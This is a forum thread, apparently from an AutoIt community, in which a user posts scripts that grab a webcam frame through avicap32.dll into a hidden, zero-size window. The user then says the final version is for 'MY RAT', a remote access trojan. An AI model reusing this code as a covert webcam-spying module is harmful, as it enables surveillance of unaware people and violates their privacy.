Jump to content

Capture an image from a webcam !


Recommended Posts

hallo everybody :)

Is there another way :(

SNAPWEBCAM(@ScriptDir & "\WBshot.bmp")
Func SNAPWEBCAM($snapfile)
Local Const $WS_CHILD = 0x40000000
Local Const $WM_CAP_START = 0x400
Local $WM_CAP_FILE_SAVEDIBA = $WM_CAP_START + 25
Local $WM_CAP_GRAB_FRAME_NOSTOP = $WM_CAP_START + 61
Local $WM_CAP_DRIVER_DISCONNECT = $WM_CAP_START + 11
Local $WM_CAP_DRIVER_CONNECT = $WM_CAP_START + 10
Local $WM_CAP_SET_SCALE = $WM_CAP_START + 53
Local $WM_CAP_SET_OVERLAY = $WM_CAP_START + 51
Local $WM_CAP_SET_PREVIEWRATE = $WM_CAP_START + 52
Local $WM_CAP_SET_PREVIEW = $WM_CAP_START + 50
Local $WM_CAP_UNICODE_START = $WM_CAP_START + 100
Local $avi = DllOpen("avicap32.dll")
Local $user = DllOpen("user32.dll")
Local $cap = DllCall($avi, "int", "capCreateCaptureWindow", "str", "cap", "int", $WS_CHILD, "int", 15, "int", 15, "int", 320, "int", 240, "hwnd", GUICreate("", 0, 0), "int", 1)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_CONNECT, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_SCALE, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_OVERLAY, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEW, "int", 1, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_SET_PREVIEWRATE, "int", 1, "int", 0)
GUISetState(@SW_DISABLE)
Local $time = TimerInit()
While True
  FileDelete($snapfile)
  DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_GRAB_FRAME_NOSTOP, "int", 0, "int", 0)
  DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_FILE_SAVEDIBA, "int", 0, "str", $snapfile)
  If TimerDiff($time) > 900 Then ExitLoop
WEnd
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_UNICODE_START, "int", 0, "int", 0)
DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_DISCONNECT, "int", 0, "int", 0)
DllClose($avi)
DllClose($user)
EndFunc   ;==>SNAPWEBCAM
Link to post
Share on other sites

Why do you need another way?

Edited by water

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2021-06-05 - Version 1.5.4.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (NEW 2021-06-14 - Version 1.6.5.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (NEW 2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (2019-12-03 - Version 1.5.1.0) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to post
Share on other sites

What is the While loop for?

You delete the file and then (over)write the image to the file. Does this make sense?

My UDFs and Tutorials:

Spoiler

UDFs:
Active Directory (NEW 2021-06-05 - Version 1.5.4.0) - Download - General Help & Support - Example Scripts - Wiki
ExcelChart (2017-07-21 - Version 0.4.0.1) - Download - General Help & Support - Example Scripts
OutlookEX (NEW 2021-06-14 - Version 1.6.5.0) - Download - General Help & Support - Example Scripts - Wiki
OutlookEX_GUI (2021-04-13 - Version 1.4.0.0) - Download
Outlook Tools (2019-07-22 - Version 0.6.0.0) - Download - General Help & Support - Wiki
PowerPoint (NEW 2021-08-31 - Version 1.5.0.0) - Download - General Help & Support - Example Scripts - Wiki
Task Scheduler (2019-12-03 - Version 1.5.1.0) - Download - General Help & Support - Wiki

Standard UDFs:
Excel - Example Scripts - Wiki
Word - Wiki

Tutorials:
ADO - Wiki
WebDriver - Wiki

 

Link to post
Share on other sites

Posted Image

NO LOOP

SNAPWEBCAM(@ScriptDir & "\1.bmp")
Func SNAPWEBCAM($snapfile)
    Local Const $WS_CHILD = 0x40000000
    Local Const $WM_CAP_START = 0x400
    Local $WM_CAP_DRIVER_DISCONNECT = $WM_CAP_START + 11
    Local $WM_CAP_DRIVER_CONNECT = $WM_CAP_START + 10
    Local $WM_CAP_UNICODE_START = $WM_CAP_START + 100
    Local $avi = DllOpen("avicap32.dll")
    Local $user = DllOpen("user32.dll")
    Local $cap = DllCall($avi, "int", "capCreateCaptureWindow", "str", "cap", "int", $WS_CHILD, "int", 15, "int", 15, "int", 320, "int", 240, "hwnd", GUICreate("", 0, 0), "int", 1)
    DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_CONNECT, "int", 0, "int", 0)
    GUISetState(@SW_DISABLE)
    SNAP($user, $cap[0], "")
    SNAP($user, $cap[0], "")
    SNAP($user, $cap[0], "")
    SNAP($user, $cap[0], $snapfile)
    DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_UNICODE_START, "int", 0, "int", 0)
    DllCall($user, "int", "SendMessage", "hWnd", $cap[0], "int", $WM_CAP_DRIVER_DISCONNECT, "int", 0, "int", 0)
    DllClose($avi)
    DllClose($user)
EndFunc   ;==>SNAPWEBCAM
Func SNAP($DLL, $cap, $savto)
    Local Const $WM_CAP_START = 0x400
    Local $WM_CAP_FILE_SAVEDIBA = $WM_CAP_START + 25
    Local $WM_CAP_GRAB_FRAME_NOSTOP = $WM_CAP_START + 61
    FileDelete($savto)
    DllCall($DLL, "int", "SendMessage", "hWnd", $cap, "int", $WM_CAP_GRAB_FRAME_NOSTOP, "int", 0, "int", 0)
    DllCall($DLL, "int", "SendMessage", "hWnd", $cap, "int", $WM_CAP_FILE_SAVEDIBA, "int", 0, "str", $savto)
EndFunc   ;==>SNAP

ADD TO MY RAT

http://www.youtube.com/watch?v=cRw6ODFW4q0&feature=youtu.be

Edited by JustBegun
Link to post
Share on other sites

Is that a wart on your hand? :whistle:

Spoiler

“Hello, ladies, look at your man, now back to me, now back at your man, now back to me. Sadly, he isn’t me, but if he stopped using ladies scented body wash and switched to Old Spice, he could smell like he’s me. Look down, back up, where are you? You’re on a boat with the man your man could smell like. What’s in your hand, back at me. I have it, it’s an oyster with two tickets to that thing you love. Look again, the tickets are now diamonds. Anything is possible when your man smells like Old Spice and not a lady. I’m on a horse.”

 

Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...